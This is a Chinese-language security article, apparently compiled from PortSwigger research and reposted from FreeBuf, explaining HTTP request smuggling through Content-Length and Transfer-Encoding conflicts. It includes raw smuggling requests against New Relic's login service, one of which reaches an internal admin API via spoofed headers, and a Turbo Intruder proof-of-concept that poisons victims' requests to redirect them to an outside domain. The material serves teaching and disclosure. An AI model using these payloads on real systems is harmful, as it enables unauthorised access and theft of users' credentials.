http-request-smuggling.jpg

HTTP请求夹带技术(Request Smuggling )是由一个或多个用户同时对目标网站服务器发起大量请求,通过构造特殊结构请求,干扰网站服务器对请求的处理,从而实现攻击目标。这种技术漏洞本质上来说非常危险,攻击者可以利用它来绕过安全控制,获取目标服务器的敏感数据并危及服务器应用的注册用户。本文我们就来探讨请求夹带攻击(漏洞)的具体原理,结合近期的一些测试实例,加深对其了解认识。

请求夹带攻击(漏洞)的前世今生

请求夹带最早于2005年就被发现了,但因利用方式和危害影响所限被一直忽视。近期,PortSwigger安全主管James Kettle(@albinowax)通过充分利用请求夹带攻击技术,发现多家知名公司网站存在严重安全风险,James Kettle也将该技术在 Black Hat USA上进行了分享 – HTTP Desync Attacks: Request Smuggling Reborn(HTTP请求非同步攻击:请求夹带漏洞的重生)

另据James Kettle介绍,PortSwigger只对大约5%的众测网站进行了HTTP请求夹带漏洞测试,就有所收获并获得了$70k的赏金,可见HTTP请求夹带漏洞的存在面还是相当广泛的,有待于大家去挖掘去发现并囊获更多赏金。

请求夹带攻击(漏洞)如何产生

现如今的Web应用通常会在用户和最终应用程序逻辑之间使用大量的HTTP服务器,用以优化分流控制网络流量。客户端用户的请求会经过Front-End前端服务器(有时叫负载平衡器或反向代理),然后转发到一个或多个 Back-End后端服务器,Web应用这种类型的架构越来越常见,尤其是在现今云服务的流行概念下,某些环境中不可避免。

当前端服务器想把HTTP请求转发给后端服务器时,它通常会经由相同的后端网络链路传输发送多个请求,因为种方式的效率和性能更高(如下图所示)。传输协议也非常简单:HTTP请求按序列发送,收到请求的服务器通过解析请求的HTTP头来确定其中某个请求的结束位置,以及下一个请求的开始。

02.jpg

这种情况下,前端和后端服务器就不同序列请求之间的界限达成一致非常重要,否则,攻击者可能会发送一个模糊的请求,问题就在于,这样一来,前端和后端系统由于对该请求的结束界限不清,会对这个模糊的请求执行不同的解析处理,从而产生不同的响应结果,请求夹带漏洞也由此而生。

如下图所示,攻击者在发往前端服务器的请求中,通过请求结构改装构造并发给后端服务器,之后,后端服务器收到该请求后,由于对请求界限模糊不清,遂将其中的部分请求解析为下一个请求的开始部份。这就是一次请求夹带攻击,其可能会造成严重的安全隐患。

03.jpg

请求夹带攻击(漏洞)的具体原因和构造方式

HTTP请求夹带漏洞的原因是由于HTTP规范提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头。Content-Length标头简单明了,它以字节为单位指定消息内容体的长度,如:

POST /search HTTP/1.1

Host: normal-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 11

q=smuggling

Transfer-Encoding标头用于指定消息体使用分块编码(Chunked Encode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。如:

POST /search HTTP/1.1

Host: normal-website.com

Content-Type: application/x-www-form-urlencoded

Transfer-Encoding: chunked

b

q=smuggling

0

由于HTTP规范提供了以上两种不同方法来指定HTTP消息体的长度,因此单个消息可以同时使用这两种方法,这种情况下,它们就会发生相互冲突。HTTP规范试图通过声明来防止此问题的发生,即:如果Content-Length和Transfer-Encoding标头同时出现在一个请求中,则应忽略Content-Length标头。这种规范在一台服务器接收请求时可以避免出现歧义,但在两台或多台服务器链接收请求时可能会出现问题。原因在于:

1、某些服务器不支持请求中的Transfer-Encoding标头;

2、如果攻击者把标头以某种方式进行模糊构造,则可能会导致某些支持Transfer-Encoding标头的服务器不会处理部份消息内容,而把这些内容当成是下一个请求的起始。

这样一来,前端服务器和后端服务器对模糊构造的Transfer-Encoding标头解析结果不同,相互之间对请求的边界不能形成共识,就会导致请求夹带漏洞的产生。

请求夹带攻击(漏洞)如何执行利用

请求夹带攻击在于需将Content-Length和Transfer-Encoding标头放入单个HTTP请求中,并对其进行操控,让前端和后端服务器以不同方式处理请求,这种攻击取决于前端和后端两台服务器对标头的处理方式:

CL.TE:前端服务器使用Content-Length头,后端服务器使用Transfer-Encoding头;

TE.CL:前端服务器使用Transfer-Encoding标头,后端服务器使用Content-Length标头;

TE.TE:前端和后端服务器都支持采用Transfer-Encoding标头,但可以通过某种方式对标头进行模糊构造,导致其中一台服务器对它实行处理。

CL.TE漏洞

这里前端服务器使用Content-Length标头,后端服务器使用Transfer-Encoding标头,因此我们可以执行简单的HTTP请求夹带攻击,如:

POST / HTTP/1.1

Host: your-lab-id.web-security-academy.net

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 6

Transfer-Encoding: chunked

0

SMUGGLED

前端服务器按照Content-Length标头处理并确定请求主体长度为13个字节,直到SMUGGLED结束,并将此请求转发到后端服务器。但后端服务器只支持Transfer-Encoding标头,因此它会将消息体视为分块编码,它按序处理数据块,但第一个块就为0数据块,因此处理终止,后序消息体SMUGGLED不会被执行处理,后端服务器将这些字节视为序列中下一个请求的开始。此时,如果前端服务器继续向后端服务器转发请求,那么后端服务器下一个接收到的请求就会是:SMUGGLED+POST=SMUGGLEDPOST的请求方法,这样,后端服务器会返回响应:Unrecognized method SMUGGLEDPOST(未知的请求方法SMUGGLEDPOST)。

TE.CL漏洞

这里,前端服务器使用Transfer-Encoding标头,后端服务器使用Content-Length标头,因此我们可以执行以下构造的HTTP请求夹带攻击:

POST / HTTP/1.1

Host: vulnerable-website.com

Content-Length: 3

Transfer-Encoding: chunked

8

SMUGGLED

0

此种情况下,前端服务器支持Transfer-Encoding标头,会将消息体视为分块编码方式,它处理第一个长度为8字节的数据块,内容是SMUGGLED,之后解析处理第二个块,它是0长度,因此解析终止。该请求转发到后端服务器后,由于后端服务器采用Content-Length标头,按照其中请求主体长度的3个字节,解析会执行到8之后的行开头,所以SMUGGLED及以下的内容就不会被处理,后端服务器会将余下内容视为请求序列中下一个请求的起始。

利用请求夹带漏洞获取New Relic系统内部敏感信息

经James Kettle分析,login.newrelic.com上的Web应用是通过Golang 编写的前端代理(Proxy)进行请求转发的,login.newrelic.com的后端服务器为Nginx,经测试发现,login.newrelic.com的前端采用Content-Length标头,而后端Nginx采用Transfer-Encoding标头,也就是前述的CL-TE方式,我们可以来尝试进行请求夹带攻击。

这里,需要明白的是,前端服务器经常会附加或重写如X-Forwarded-Host 或 X-Forwarded-For这样的请求头,难以猜测,有时我们执行的请求夹带攻击可能会漏掉这些头信息,从而造成应用响应异常或攻击失败。但好在,我们可以用一种简单的方法来探测这些请求头,比如手动添加或进行有根据的猜测,这样就能开展进一步的攻击。这里,我们以login.newrelic.com为测试目标。

首先,我们在login.newrelic.com上执行POST请求,如下:


POST / HTTP/1.1

Host: login.newrelic.com

Content-Length: 142

Transfer-Encoding: chunked

Transfer-Encoding: x

0

POST /login HTTP/1.1

Host: login.newrelic.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 100

login[email]=asdf

由于login.newrelic.com的前端服务器采用Content-Length标头,所以在上述请求中,假设:142字节的消息体会在红字部份结束,然后它会被转发给后端Nginx服务器,之后,由于后端Nginx采用Transfer-Encoding标头,所以它会以分块编码处理请求,但一来就遇到了0长度的终止符,所以0长度后续的消息体就成为了下一个请求的开头,当前端继续向后端转发请求时,就会形成以下样子的请求:


POST /login HTTP/1.1

Host: login.newrelic.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 100

login[email]=asdfPOST /login HTTP/1.1

Host: login.newrelic.com

当然,后端服务器遇到该请求后,会做出如下响应,它响应泄露了很多目标应用的相关内部配置头信息:


Please ensure that your email and password are correct.

<input id="email" value="asdfPOST /login HTTP/1.1“

Host: login.newrelic.com

X-Forwarded-For: 81.139.39.150

X-Forwarded-Proto: https

X-TLS-Bits: 128

X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256

X-TLS-Version: TLSv1.2

x-nr-external-service: external 

通过以上方式的不断变换请求,我们可以检索出更多目标应用的内部敏感信息。有些系统完全依赖前端来保证安全性,一旦绕过前端就能获取到更多后端目标应用的相关信息。在login.newrelic.com上,前端服务器就是一个代理,所以,通过变换请求夹带的主机头,我们就能探测访问到更多New Relic内部系统。一开始,我碰到的每个内部系统都认为我的请求是通过HTTP协议发送的,并以重定向作为响应,如下:

GET / HTTP/1.1

Host: staging-alerts.newrelic.com

HTTP/1.1 301 Moved Permanently

Location: https://staging-alerts.newrelic.com/

之后,加上X-Forwarded-Proto头告诉它我的客户端是HTTPS请求就好了:

GET / HTTP/1.1

Host: staging-alerts.newrelic.com

X-Forwarded-Proto: https

HTTP/1.1 404 Not Found

Action Controller: Exception caught

之后,我发现了其中一个有意思的路径- /revision_check:

GET /revision_check HTTP/1.1

Host: staging-alerts.newrelic.com

X-Forwarded-Proto: https

HTTP/1.1 200 OK

Not authorized with header:

上述错误响应表示,我需要添加上某种类型的授权头,但其中并没有说明,于是乎我加入了前述响应泄露的X-nr-external-service头(表明请求来自互联网),如下:

GET /revision_check HTTP/1.1

Host: staging-alerts.newrelic.com

X-Forwarded-Proto: https

X-nr-external-service: 1

HTTP/1.1 403 Forbidden

Forbidden

哦,是禁止的。也就是说前端转发给后端的请求,其中标明了请求来自互联网,这种外网请求是禁止访问。所以,为了实现请求夹带攻击,我们必须欺骗New Relic后端系统,让它们认为我们的请求来自内部网络。

我可以一个一个的去尝试不同的请求头,但我没有这样做,我查询了之前对New Relic的经典漏洞发现,发现了两个有用的请求头:Server-Gateway-Account-Id 和 Service-Gateway-Is-Newrelic-Admin,利用这两个请求头,我就能构造请求深入测试,获得对内部API接口/internal_api/的完全管理员访问权限,如下:


POST /login HTTP/1.1

Host: login.newrelic.com

Content-Length: 564

Transfer-Encoding: chunked

Transfer-encoding: cow

0

POST /internal_api/934454/session HTTP/1.1

Host: alerts.newrelic.com

X-Forwarded-Proto: https

Service-Gateway-Account-Id: 934454

Service-Gateway-Is-Newrelic-Admin: true

Content-Length: 6

x=123GET...

HTTP/1.1 200 OK

{

  "user": {

     "account_id": 934454,

     "is_newrelic_admin": true

  },

  "current_account_id": 934454

  …

}

上报漏洞后,New Relic发布了补丁,经诊断发现原因出在了其部署的F5网关中,但据悉,目前还未有针对F5网关的补丁或修补措施,所以截至发稿前,这仍然算F5是一个0day漏洞。

利用请求夹带漏洞窃取New Relic登录密码(Hackerone#498052

James Kettle发现,还可以构造请求夹带漏洞窃取login.newrelic.com上的登录密码。原理在于,通过模拟正常用户的访问浏览,并执行非同步的请求发送(Desync Request),这些不同序列的请求可能会对另一访问login.newrelic.com的普通用户实现请求毒化,致使其重定向获得异常响应,跳转到某一攻击者控制的恶意域名,当然也可在其中注入keylogger,从而窃取他人用户的New Relic登录密码。这些攻击过程无需与受害用户进行任何交互即可实现最终攻击效果,存在严重安全隐患。

James Kettle给出了以下PoC验证代码,会使受害者执行一个到域名 https://skeletonscribe.net/ 的重定向跳转:


def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint='https://staging-login.newrelic.com:443',

                           concurrentConnections=5,

                           requestsPerConnection=5,

                           pipeline=False,

                           maxRetriesPerRequest=0

                           )

    attack = '''POST /login HTTP/1.1

Host: staging-login.newrelic.com

Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3508.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Cookie: optimizelyEndUserId=oeu1547215128308r0.023321653201122228; ajs_user_id=null; ajs_group_id=null; ajs_anonymous_id=%22a5f7b9bb-8c8a-4add-ac69-75200d4c46cb%22; TSNGUID=6093d809-7d9d-4d52-bfb9-335de9fb69b8; _ga=GA1.2.1374597116.1547216490; _gid=GA1.2.1093027572.1547216490; _gcl_au=1.1.1026642629.1547216493; _mkto_trk=id:412-MZS-894&token:_mch-newrelic.com-1547216493639-15775; __qca=P0-235566894-1547221374728; intercom-id-cyym0u3i=bd3a0989-6e9f-4e6d-a497-9a41ef6d5290; _fbp=fb.1.1547249472663.621468648; ei_client_id=5c39274682f6eb000fa6d52a; _golden_gate_session=bkRPMUZ3STBrY0laZG0zemY1Umg5cFVhcWpNaGpvZWN2T0tOM3hWL2p2UVdaVTJLZFh5NkJtQnZHV2FIR3hnZWpKaWFvM2F2WkRab3hjWTd5b3A1T2dOY20zWWNQaFhZNWVRZXFuRkFwU3l1YVZMdm1JSW9pSGd0UnRicnRBUVdhaGg3UXJQTFJ0c3ZkMHRyaHZqNjYreCt4dWUwVlp1UTdrSVFpSEx6akVITjRWWGNrSUR5NGdIdG80UnFJS2xpVTNlU1BpK0hjWEZJMVF1R2I4RlNNeUdicVdTWFVDQnBlQ0NQSXdNYXFJM2lDTWc5VldLOTJ3N1A3Wll5RytpZVNya2J1WTdTNUZ5UVFRNk5KVmt2TmNudlU3WDFQMVJPbGtkWXJJWXd1YjA9LS1MeU1EbTkrZ29qVVo2VkNUMDhnMVp3PT0%3D--155cef8a5f5d2bcb69b1d1952af040a3479aeacb; _gat=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 189

Transfer-Encoding: chunked

Transfer-Encoding: foo

3e

return_to=https%3A%2F%2Fstaging-insights-embed.newrelic.com%2F

0

GET / HTTP/1.1

Host: staging-login.newrelic.com:123

X-Forwarded-Host: skeletonscribe.net

Content-Length: 10

x='''

    engine.queue(attack)

    engine.start()

def handleResponse(req, interesting):

    table.add(req)

    if req.code == 200:

        victim = '''GET /?x= HTTP/1.1

Host: staging-login.newrelic.com

Connection: close

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3508.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Cookie: optimizelyEndUserId=oeu1547215128308r0.023321653201122228; ajs_user_id=null; ajs_group_id=null; ajs_anonymous_id=%22a5f7b9bb-8c8a-4add-ac69-75200d4c46cb%22; TSNGUID=6093d809-7d9d-4d52-bfb9-335de9fb69b8; _ga=GA1.2.1374597116.1547216490; _gid=GA1.2.1093027572.1547216490; _gcl_au=1.1.1026642629.1547216493; __qca=P0-235566894-1547221374728; intercom-id-cyym0u3i=bd3a0989-6e9f-4e6d-a497-9a41ef6d5290; _fbp=fb.1.1547249472663.621468648; _gat=1; _mkto_trk=id:697-KKO-240&token:_mch-newrelic.com-1547216493639-15775; _golden_gate_session=dWUvd1NFRVJRN051UUg0K245YWxPZ3NleGdQNFBPbXZLRS84WElQZFdSS3g1d28xNXBTb0RKZXNQeEFLSm4zeE9yeTJia1lxNGRPUWhPZFhXYVY1eGM1emMyTGZvZmVzcHNsby85UEJqbXViK3E4SHNRSVllT0lCSk4zUzdWNW5ic1MzNVNqSStaeW5qblM2dERuUWN5Wml0ZzYwd1BkU256UVpmM1JtdjN6S01taTFLM3VCMGNuWi96NmhPc3JBLS1BRlZ4dis4MTVxZ0NjblZpVlgvVmdRPT0%3D--ab2b42c56157e42752d86deb9e03f18946a4d5c5; ei_client_id=5c3929f2857699000fe7bcc5

'''

        for i in range(10):

            req.engine.queue(victim)

更多技术请参考PortSwigger介绍并完成其中的实验:https://portswigger.net/web-security/request-smuggling

*参考来源:portswiggerweb-security,clouds编译整理,转自FreeBuf